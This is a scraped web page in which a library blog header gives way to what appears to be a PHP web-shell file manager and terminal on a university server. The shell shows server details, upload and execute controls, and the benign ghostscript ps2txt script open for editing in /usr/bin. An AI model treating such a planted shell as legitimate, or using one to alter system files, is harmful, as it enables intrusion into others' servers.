Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //usr/bin Upload Create File Create Folder Execute Editing: /usr/bin/ps2txt#!/bin/sh # Extract ASCII text from a PostScript file. Usage: # ps2ascii [infile.ps [outfile.txt]] # If outfile is omitted, output goes to stdout. # If both infile and outfile are omitted, ps2ascii acts as a filter, # reading from stdin and writing on stdout. # This definition is changed on install to match the # executable name set in the makefile GS_EXECUTABLE=gs trap "rm -f _temp_.err _temp_.out" 0 1 2 15 OPTIONS="-q -dSAFER -sDEVICE=txtwrite" if ( test $# -eq 0 ) then $GS_EXECUTABLE $OPTIONS -o - - elif ( test $# -eq 1 ) then $GS_EXECUTABLE $OPTIONS -o - "$1" else $GS_EXECUTABLE $OPTIONS -o "$2" "$1" fi Save